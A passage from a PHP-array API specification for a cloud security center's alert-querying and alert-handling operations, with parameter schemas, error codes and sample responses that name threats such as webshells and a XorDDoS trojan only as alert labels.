'UniqueInfo' => [ 'description' => 'The unique key of the alert.'."\n", 'type' => 'string', 'example' => 'e17e****', ], 'MaliciousRuleStatus' => [ 'description' => 'The status of the malicious behavior defense rule. Valid values:'."\n" ."\n" .'* **open**'."\n" .'* **close**'."\n", 'type' => 'string', 'example' => 'open', ], 'Level' => [ 'description' => 'The severity of the alert event. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'serious', ], 'Id' => [ 'description' => 'The unique ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1000', ], 'Details' => [ 'description' => 'The details of the alert event.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the alert event.'."\n", 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The path of the alert event.'."\n", 'type' => 'string', 'example' => '/etc/crontab', ], 'NameDisplay' => [ 'description' => 'The display name of the alert event.'."\n", 'type' => 'string', 'example' => 'Login with unusual location', ], 'ValueDisplay' => [ 'description' => 'The display name of the path of the alert event.'."\n", 'type' => 'string', 'example' => '/etc/crontab', ], ], ], ], 'EventNotes' => [ 'description' => 'The note information about the alert event.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Note' => [ 'description' => 'The note.'."\n", 'type' => 'string', 'example' => 'Test', ], 'NoteId' => [ 'description' => 'The ID of the note.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'NoteTime' => [ 'description' => 'The time when the note was created.'."\n", 'type' => 'string', 'example' => '2018-09-26 01:51:01'."\n", ], ], ], ], 'clusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c2051775877374cccbf68af596e6****', ], 'ImageUuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => '70489fb520cea585ad9761d5a842****', ], 'DisplaySandboxResult' => [ 'description' => 'Indicates whether the alert event can be detected by cloud sandbox. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'LargeModel' => [ 'description' => 'Indicates whether the large model analysis tag is supported. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'MarkList' => [ 'description' => 'The tags of the alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag of the alert event.'."\n", 'type' => 'string', 'example' => 'mark', ], ], 'SourceAliUid' => [ 'description' => 'The ID of the Alibaba Cloud account within which an alert is generated.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '196072141348****', ], 'SupportOperateCode' => [ 'description' => 'Supported alarm operation types: '."\n" .'- **AI.false_positive**: Suspected false positive '."\n" .'- **AI.real_attack**: Real attack '."\n" .'- **AI.Insufficient_information_to_evaluate**: Insufficient information to evaluate', 'type' => 'string', 'example' => 'AI.real_attack', ], ], 'description' => '', ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"0D6E20E4-8326-1D03-A553-2182BE9E82F9\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20,\\n \\"SuspEvents\\": [\\n {\\n \\"Stages\\": \\"\\\\\\"[\\\\\\"authority_maintenance\\\\\\"]\\\\\\"\\",\\n \\"TacticItems\\": [\\n {\\n \\"TacticId\\": \\"TA0001\\",\\n \\"TacticDisplayName\\": \\"Malicious scripts-Malicious script code execution\\"\\n }\\n ],\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"K8sClusterName\\": \\"test-daily\\",\\n \\"ContainerImageId\\": \\"sha256:2e5a3b0ae5f452b3cb458789a9a7542ef40035a84318469a8528c5e444db1****\\",\\n \\"LastTimeStamp\\": 1631699497000,\\n \\"OccurrenceTime\\": \\"2018-09-26 01:51:01\\",\\n \\"AlarmUniqueInfo\\": \\"8df914418f****\\",\\n \\"Desc\\": \\"webshell\\",\\n \\"CanCancelFault\\": false,\\n \\"AlarmEventNameDisplay\\": \\"Login with unusual location\\",\\n \\"AppName\\": \\"pro-deploy-tibasic\\",\\n \\"SecurityEventIds\\": \\"270789\\",\\n \\"K8sClusterId\\": \\"c517b37e1401e4961b3951863a49a****\\",\\n \\"ContainerImageName\\": \\"centos7_apache:v1.0.1\\",\\n \\"MarkMisRules\\": \\"1.  path  contain  232  \\",\\n \\"CanBeDealOnLine\\": true,\\n \\"ContainHwMode\\": false,\\n \\"K8sNodeId\\": \\"i-bp14a1ay8e0aa9t0****\\\\n\\",\\n \\"InstanceName\\": \\"nginx\\",\\n \\"EventStatus\\": 8,\\n \\"SaleVersion\\": \\"1\\",\\n \\"OperateErrorCode\\": \\"kill_and_quara.Success\\",\\n \\"Name\\": \\"Unusual Logon-Login with unusual location\\",\\n \\"HasTraceInfo\\": true,\\n \\"DataSource\\": \\"aegis_suspicious_****\\",\\n \\"OperateTime\\": 1631699497000,\\n \\"EventSubType\\": \\"login_common_location\\",\\n \\"Advanced\\": true,\\n \\"OccurrenceTimeStamp\\": 1631699497000,\\n \\"InstanceId\\": \\"i-9dp6dwsxdl9z5u1e2f****\\",\\n \\"AlarmEventTypeDisplay\\": \\"Unusual Logon\\",\\n \\"IntranetIp\\": \\"100.100.XX.XX\\",\\n \\"LastTime\\": \\"2018-09-26 01:51:01\\",\\n \\"OperateMsg\\": \\"success\\",\\n \\"Uuid\\": \\"bf6b30d3-eea8-4924-9f0a-****\\",\\n \\"K8sPodName\\": \\"myapp-pod\\\\n\\",\\n \\"ContainerId\\": \\"container_1648601865161_14925_02_000****\\",\\n \\"AlarmEventType\\": \\"Unusual Logon\\",\\n \\"K8sNamespace\\": \\"default\\",\\n \\"AutoBreaking\\": true,\\n \\"K8sNodeName\\": \\"N/A\\",\\n \\"AlarmEventName\\": \\"login_common_location\\",\\n \\"UniqueInfo\\": \\"e17e****\\",\\n \\"MaliciousRuleStatus\\": \\"open\\",\\n \\"Level\\": \\"serious\\",\\n \\"Id\\": 1000,\\n \\"Details\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"/etc/crontab\\",\\n \\"NameDisplay\\": \\"Login with unusual location\\",\\n \\"ValueDisplay\\": \\"/etc/crontab\\"\\n }\\n ],\\n \\"EventNotes\\": [\\n {\\n \\"Note\\": \\"Test\\",\\n \\"NoteId\\": 123,\\n \\"NoteTime\\": \\"2018-09-26 01:51:01\\\\n\\"\\n }\\n ],\\n \\"clusterId\\": \\"c2051775877374cccbf68af596e6****\\",\\n \\"ImageUuid\\": \\"70489fb520cea585ad9761d5a842****\\",\\n \\"DisplaySandboxResult\\": true,\\n \\"LargeModel\\": true,\\n \\"MarkList\\": [\\n \\"mark\\"\\n ],\\n \\"SourceAliUid\\": 0,\\n \\"SupportOperateCode\\": \\"AI.real_attack\\"\\n }\\n ]\\n}","errorExample":"{\\n \\"RequestId\\": \\"43F670F3-AB40-4E91-BC7D-C57468834F67\\",\\n \\"HostId\\": \\"aegis.cn-hangzhou.aliyuncs.com\\",\\n \\"Code\\": \\"-101\\",\\n \\"Message\\": \\"illegal parameter, xxxx\\\\n\\"\\n} "},{"type":"xml","example":"\\n\\n3\\n2\\n20\\n0C7FAD74-83FA-4671-9250-A5F2A64F437A\\n1\\n\\n 1\\n 1\\n 1.2.3.4\\n XorDDoS木马\\n 恶意进程（云查杀）-XorDDoS木马\\n aegis_suspiciou***\\n 2018-09-26 01:51:01\\n server01\\n XORDDoS木马入侵后，会在Linux的定时任务中植入恶意代码。\\n false\\n bf6b30d3-eea8-4924***\\n 1.2.3.4\\n serious\\n 3682\\n 2018-10-24 21:06:01\\n\\n\\n 1\\n 1\\n 1.2.3.5\\n XorDDoS木马\\n 恶意进程（云查杀）-XorDDoS木马\\n aegis_suspiciou***\\n 2018-09-26 02:01:01\\n server01\\n XORDDoS木马入侵后，会在Linux的定时任务中植入恶意代码。\\n false\\n bf6b30d3-eea8-4924-***\\n 1.2.3.4\\n serious\\n 3683\\n 2018-10-24 21:01:01\\n\\n","errorExample":""}]', 'title' => 'DescribeSuspEvents', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'translator' => 'machine', ], 'DescribeSuspEventDetail' => [ 'summary' => 'Queries the details of an exception. An alert event consists of an alert and exceptions. Each alert event is associated with multiple exceptions.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92213', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '121.33.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', 'default' => 'zh', ], ], [ 'name' => 'SuspiciousEventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the exception.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '32750999', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The data source of the exception. Set the value to sas.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16670360956*****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'DataSource' => [ 'description' => 'The data source of the exception.'."\n", 'type' => 'string', 'example' => 'aegis_suspicious_****', ], 'EventName' => [ 'description' => 'The name of the exception.'."\n", 'type' => 'string', 'example' => 'WEBSHELL', ], 'InternetIp' => [ 'description' => 'The public IP address of the server on which the exception was detected.'."\n", 'type' => 'string', 'example' => '101.132.XX.XX', ], 'AlarmUniqueInfo' => [ 'description' => 'The unique ID of the alarm event.'."\n" .'> If querying the anomaly information of a single alarm event, you need to provide the unique ID of the alarm event, which can be obtained by calling the [DescribeSuspEvents](~~DescribeSuspEvents~~) interface.', 'type' => 'string', 'example' => '8df914418f4211fb****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server on which the exception was detected.'."\n", 'type' => 'string', 'example' => '172.26.XX.XX', ], 'LastTime' => [ 'description' => 'The time when the exception was last detected.'."\n", 'type' => 'string', 'example' => ' 2018-10-30 11:43:46 ', ], 'OperateMsg' => [ 'description' => 'The message that indicates the handling result of the exception.'."\n", 'type' => 'string', 'example' => 'success', ], 'Uuid' => [ 'description' => 'The UUID of the server on which the exception was detected.'."\n", 'type' => 'string', 'example' => 'bffb12c3-590a-4db2-b538-****', ], 'CanBeDealOnLine' => [ 'description' => 'Indicates whether the online processing of exceptions is supported, such as blocking an exception, adding an exception to the whitelist, and ignoring an exception. Valid values:'."\n" ."\n" .'* **true**: The online processing of exceptions is supported.'."\n" .'* **false**: The online processing of exceptions is not supported.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'EventTypeDesc' => [ 'description' => 'The type of the exception.'."\n", 'type' => 'string', 'example' => 'Malicious Software-Variable Trojan', ], 'EventDesc' => [ 'description' => 'The description of the exception.'."\n", 'type' => 'string', 'example' => 'The detection model found a suspicious Webshell file on your server, which may be a backdoor file implanted to maintain permissions after the attacker successfully invaded the website.', ], 'InstanceName' => [ 'description' => 'The name of the server on which the exception was detected.'."\n", 'type' => 'string', 'example' => 'ca_cpm_****', ], 'EventStatus' => [ 'description' => 'The status of the exception. Valid values:'."\n" ."\n" .'* **1**: pending handling'."\n" .'* **2**: ignored'."\n" .'* **4**: confirmed'."\n" .'* **8**: marked as a false positive'."\n" .'* **16**: handling'."\n" .'* **32**: handled'."\n" .'* **64**: expired'."\n", 'type' => 'string', 'example' => '1', ], 'SaleVersion' => [ 'description' => 'The edition of Security Center in which the exception can be detected. Valid values:'."\n" ."\n" .'* **0**: Basic edition'."\n" .'* **1**: Advanced edition'."\n" .'* **2**: Enterprise edition'."\n", 'type' => 'string', 'example' => '1', ], 'OperateErrorCode' => [ 'description' => 'The code that indicates the handling result of the exception.'."\n", 'type' => 'string', 'example' => 'quara.Succes', ], 'Level' => [ 'description' => 'The risk level of the exception. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'serious', ], 'Id' => [ 'description' => 'The ID of the exception.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11416624', ], 'Details' => [ 'description' => 'An array that consists of the details of the exception.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the exception.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The format in which the details of the exception are displayed.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **html**'."\n", 'type' => 'string', 'example' => 'html', ], 'Value' => [ 'description' => 'The attribute information about the exception. For example, if the exception is associated with an alert that is triggered by an unusual logon, the information can include the time when the logon is initiated and the location from which the logon is initiated. If the exception is associated with an alert that is triggered by a webshell file, the information can include the path of the trojan file and the type of the trojan.'."\n", 'type' => 'string', 'example' => 'getopt', ], 'NameDisplay' => [ 'description' => 'The display name of the alert event.'."\n", 'type' => 'string', 'example' => 'Trojan Path', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], [ 'errorCode' => 'DataExists', 'errorMessage' => '%s data exist', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"DataSource\\": \\"aegis_suspicious_****\\",\\n \\"EventName\\": \\"WEBSHELL\\",\\n \\"InternetIp\\": \\"101.132.XX.XX\\",\\n \\"AlarmUniqueInfo\\": \\"8df914418f4211fb****\\",\\n \\"IntranetIp\\": \\"172.26.XX.XX\\",\\n \\"LastTime\\": \\" 2018-10-30 11:43:46 \\",\\n \\"OperateMsg\\": \\"success\\",\\n \\"Uuid\\": \\"bffb12c3-590a-4db2-b538-****\\",\\n \\"CanBeDealOnLine\\": true,\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"EventTypeDesc\\": \\"Malicious Software-Variable Trojan\\",\\n \\"EventDesc\\": \\"The detection model found a suspicious Webshell file on your server, which may be a backdoor file implanted to maintain permissions after the attacker successfully invaded the website.\\",\\n \\"InstanceName\\": \\"ca_cpm_****\\",\\n \\"EventStatus\\": \\"1\\",\\n \\"SaleVersion\\": \\"1\\",\\n \\"OperateErrorCode\\": \\"quara.Succes\\",\\n \\"Level\\": \\"serious\\",\\n \\"Id\\": 11416624,\\n \\"Details\\": [\\n {\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"getopt\\",\\n \\"NameDisplay\\": \\"Trojan Path\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSuspEventDetail', 'translator' => 'machine', ], 'DescribeSecurityEventOperations' => [ 'summary' => 'Queries the operations that you can perform to handle an alert.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92191', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'SecurityEventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event that you want to handle.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '61352054', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B7A2000F-497E-5DA0-B14D-615CD410DD7E', ], 'SecurityEventOperationsResponse' => [ 'description' => 'The operations that are performed to handle the alert.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation that is performed to handle the alert.'."\n", 'type' => 'object', 'properties' => [ 'OperationParams' => [ 'description' => 'The configuration of the operation that is performed to handle the alert.'."\n" ."\n" .'> If the value of the **OperationCode** parameter is **kill_and_quara** or **block_ip**, the OperationParams parameter is required. If the value of the **OperationCode** parameter is a different value, the OperationParams parameter can be left empty.'."\n", 'type' => 'string', 'example' => '{"expireTime":1641566807783}', ], 'OperationCode' => [ 'description' => 'The operation that is performed to handle the alert. Valid values:'."\n" ."\n" .'* **block_ip**: blocks the source IP address.'."\n" .'* **advance_mark_mis_info**: adds the alert to the whitelist.'."\n" .'* **ignore**: ignores the alert.'."\n" .'* **manual_handled**: marks the alert as manually handled.'."\n" .'* **kill_process**: terminates the malicious process.'."\n" .'* **cleanup**: performs in-depth virus detection and removal.'."\n" .'* **kill_and_quara**: terminates the malicious process and quarantines the source file.'."\n" .'* **disable_malicious_defense**: disables the malicious behavior defense feature.'."\n" .'* **client_problem_check**: performs troubleshooting.'."\n" .'* **quara**: quarantines the source file of the malicious process.'."\n" .'* **defense_mark_mis_info**: enables the precise defense feature but disables the notification feature.'."\n" .'* **rm_defense_mark_mis_info**: enables the notification feature.'."\n" .'* **rm_mark_mis_info**: removes the alert from the whitelist.'."\n" .'* **cancle_manual**: cancels marking the alert as manually handled.'."\n", 'type' => 'string', 'example' => 'advance_mark_mis_info', ], 'UserCanOperate' => [ 'description' => 'Indicates whether you can handle the alert in the current edition of Security Center. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'MarkField' => [ 'description' => 'The configurations that are used when the value of the OperationCode parameter is **advance_mark_mis_info**.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configuration that is used when the value of the OperationCode parameter is **advance_mark_mis_info**.'."\n", 'type' => 'object', 'properties' => [ 'MarkMisType' => [ 'description' => 'The operation that is used in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'string', 'example' => 'contains', ], 'FiledName' => [ 'description' => 'The field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'gmtModified', ], 'FiledAliasName' => [ 'description' => 'The alias of the field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'file path', ], 'MarkMisValue' => [ 'description' => 'The value of the field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => '2022-04-25 10:11:04', ], 'Uuid' => [ 'title' => '资产uuid', 'description' => 'The UUID of the server on which the alert event is detected.'."\n", 'type' => 'string', 'example' => '3d6b4a75-c28f-447b-9142-38f6252c****', ], 'SupportedMisType' => [ 'description' => 'An array consisting of the operations that are supported by the method to add the alert event to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation that is used and can be modified in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'string', 'example' => 'contains', ], ], ], ], ], 'MarkFieldsSource' => [ 'description' => 'The configuration items that can be used when the value of the OperationCode parameter is advance_mark_mis_info.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configuration item that can be used when the value of the OperationCode parameter is advance_mark_mis_info.'."\n", 'type' => 'object', 'properties' => [ 'FiledName' => [ 'description' => 'The field that can be used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'gmtModified', ], 'FiledAliasName' => [ 'description' => 'The alias of the field that can be used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'file path', ], 'MarkMisValue' => [ 'description' => 'The value of the field that can be used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'contains', ], 'SupportedMisType' => [ 'description' => 'An array consisting of the operations that are supported by the method to add the alert event to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation that is supported in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'string', 'example' => 'contains', ], ], ], ], ], 'MappingMarkFields' => [ 'description' => 'The objects on which the operations are performed. This parameter is required when you add the alert to the whitelist by configuring precise defense rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The object on which the operation is performed. This parameter is required when you add the alert to the whitelist by configuring precise defense rules.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the field that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'pid', ], 'Value' => [ 'description' => 'The value of the field that is added to the whitelist.'."\n", 'type' => 'string', 'example' => '1791', ], 'ShowValue' => [ 'description' => 'The display name of the field that is added to the whitelist.'."\n", 'type' => 'string', 'example' => '1791', ], 'FillType' => [ 'description' => 'Indicates whether the value of the field can be changed.'."\n" ."\n" .'* **CUSTOM**: The value of the field can be changed.'."\n" .'* **SYSTEM**: The value of the field cannot be changed.'."\n", 'type' => 'string', 'example' => 'CUSTOM', ], 'Required' => [ 'description' => 'Indicates whether the parameter is required. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ShowName' => [ 'description' => 'The display name of the field that can be used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'pid', ], 'MinLength' => [ 'description' => 'The minimum length of the field that is added to the whitelist.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1024', ], 'MaxLength' => [ 'description' => 'The maximum length of the field that is added to the whitelist.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2048', ], 'Description' => [ 'description' => 'The description of the field that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'SecurityEventNotExists', 'errorMessage' => 'Security event not exists.', ], [ 'errorCode' => 'MissingSecurityEventId', 'errorMessage' => 'SecurityEventId is mandatory for this action.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => '-100', 'errorMessage' => 'The service is unavailable, please try again later.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B7A2000F-497E-5DA0-B14D-615CD410DD7E\\",\\n \\"SecurityEventOperationsResponse\\": [\\n {\\n \\"OperationParams\\": \\"{\\\\\\"expireTime\\\\\\":1641566807783}\\",\\n \\"OperationCode\\": \\"advance_mark_mis_info\\",\\n \\"UserCanOperate\\": false,\\n \\"MarkField\\": [\\n {\\n \\"MarkMisType\\": \\"contains\\",\\n \\"FiledName\\": \\"gmtModified\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"2022-04-25 10:11:04\\",\\n \\"Uuid\\": \\"3d6b4a75-c28f-447b-9142-38f6252c****\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ],\\n \\"MarkFieldsSource\\": [\\n {\\n \\"FiledName\\": \\"gmtModified\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"contains\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ],\\n \\"MappingMarkFields\\": [\\n {\\n \\"Name\\": \\"pid\\",\\n \\"Value\\": \\"1791\\",\\n \\"ShowValue\\": \\"1791\\",\\n \\"FillType\\": \\"CUSTOM\\",\\n \\"Required\\": true,\\n \\"ShowName\\": \\"pid\\",\\n \\"MinLength\\": 1024,\\n \\"MaxLength\\": 2048,\\n \\"Description\\": \\"test\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n B7A2000F-497E-5DA0-B14D-615CD410DD7E\\n \\n {\\\\\\"ip\\\\\\":\\\\\\"192.168.XX.XX\\\\\\",\\\\\\"bound\\\\\\":\\\\\\"in\\\\\\"}\\n advance_mark_mis_info\\n false\\n \\n contains\\n gmtModified\\n 登录时间\\n 2022-04-25 10:11:04\\n 63fdf394-dc58-4490-a-XXX\\n contains\\n \\n \\n gmtModified\\n 登录时间\\n contains\\n contains\\n \\n \\n","errorExample":""}]', 'title' => 'DescribeSecurityEventOperations', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeSimilarSecurityEvents' => [ 'summary' => 'Queries alert events that are triggered by the same rule or of the same alert type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The task ID. You can call the [CreateSimilarSecurityEventsQueryTask](~~CreateSimilarSecurityEventsQueryTask~~) operation to obtain the task ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1689135', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9F4217C8-763F-51EF-84D4-5535E072B2D8', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], ], ], 'SecurityEventsResponse' => [ 'description' => 'The information about the alert events that are triggered by the same rule or of the same alert type.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'LastTime' => [ 'description' => 'The timestamp generated when the alert event was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1648544361480', ], 'Uuid' => [ 'description' => 'The UUID of the server that was affected by the alert event.'."\n", 'type' => 'string', 'example' => 'qweeqq-13232-daweq-w****', ], 'EventName' => [ 'description' => 'The name of the alert event.'."\n", 'type' => 'string', 'example' => 'Trojan', ], 'EventType' => [ 'description' => 'The type of the alert event. Valid values:'."\n" ."\n" .'* Suspicious Process'."\n" .'* Webshell'."\n" .'* Unusual Logon'."\n" .'* Malicious Software'."\n" .'* Sensitive File Tampering'."\n" .'* Unusual Network Connection'."\n" .'* Other'."\n" .'* Suspicious Account'."\n" .'* Cloud threat 